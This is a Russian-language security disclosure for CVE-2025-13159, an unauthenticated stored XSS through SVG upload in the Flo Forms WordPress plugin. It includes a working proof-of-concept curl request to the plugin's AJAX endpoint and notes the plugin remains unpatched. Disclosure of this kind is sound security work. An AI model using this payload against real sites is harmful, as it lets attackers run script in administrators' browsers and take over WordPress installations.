
Disclosure for CVE-2025-13159
Раскрытие информации о CVE-2025-13159
Этот репозиторий раскрывает уязвимость, обнаруженную в Flo Forms – Easy Drag & Drop Form Builder <= 1.0.43, плагине WordPress, разработанном flothemesplugins.
| CVE ID | Тип | Компонент | Воздействие |
|---|---|---|---|
| CVE-2025-13159 | Неаутентифицированное хранимое межсайтовое выполнение сценариев через загрузку SVG | public/class-flo-forms-public.php | Неаутентифицированный злоумышленник может выполнить JS |
curl -k -X POST "https://localhost:8080/wp-admin/admin-ajax.php" \
-F 'action=flo_form_submit' \
-F 'flo_fid=<your fid>' \
-F 'flo-form-model={}' \
-F 'flo-form-schema={"groups":[]}' \
-F '[email protected];type=image/svg+xml'
※Если fid внутри объекта не существует, запрос не удастся.
Плагин расширяет разрешённые MIME-типы WordPress, включая image/svg+xml, и предоставляет неаутентифицированное AJAX-действие (flo_form_submit), которое принимает вложения файлов и передаёт их в media_handle_upload() без какой-либо очистки SVG или проверок прав доступа. Загруженные SVG затем возвращаются как image/svg+xml и связываются из интерфейса администратора. Когда администратор открывает вложение (напрямую или через /), браузер интерпретирует SVG-документ и выполняет встроенные сценарии, что приводит к хранимому XSS.
Прошел месяц, но патч до сих пор не выпущен, а загрузка самого плагина приостановлена. В этот раз воспроизведение PoC шло с трудом, я застрял более чем на час, но в итоге выяснилось, что забыл поставить символ @ перед XSS.svg.
Имя: MooseLove
Роль: Независимый исследователь безопасности / баг-хантер
Контакт: Доступен по запросу
Это уведомление предоставлено для повышения осведомлённости о безопасности. Разрешается свободное распространение с указанием авторства.